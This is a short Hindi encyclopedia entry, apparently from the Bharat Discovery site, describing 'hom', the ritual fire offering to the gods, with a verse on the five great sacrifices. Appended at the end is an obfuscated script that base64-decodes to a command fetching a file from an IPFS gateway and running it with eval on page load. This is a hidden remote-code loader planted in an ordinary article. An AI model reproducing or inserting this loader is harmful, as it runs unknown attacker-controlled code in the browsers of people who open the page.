होम
भारत डिस्कवरी प्रस्तुति
होम अग्नि में देवताओं के लिए किसी वस्तु का विधि-पूर्वक प्रक्षेप होम कहलाता है। यह पंच महायज्ञों में से एक यज्ञ है। स्वयंभुव मनु का कथन है:
अध्यापनं ब्रह्मयज्ञ: पितृयज्ञस्तु तर्पणम् । होमो दैवी बलिभि तौ नृयज्ञों अतिथिपूजनम ।।
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>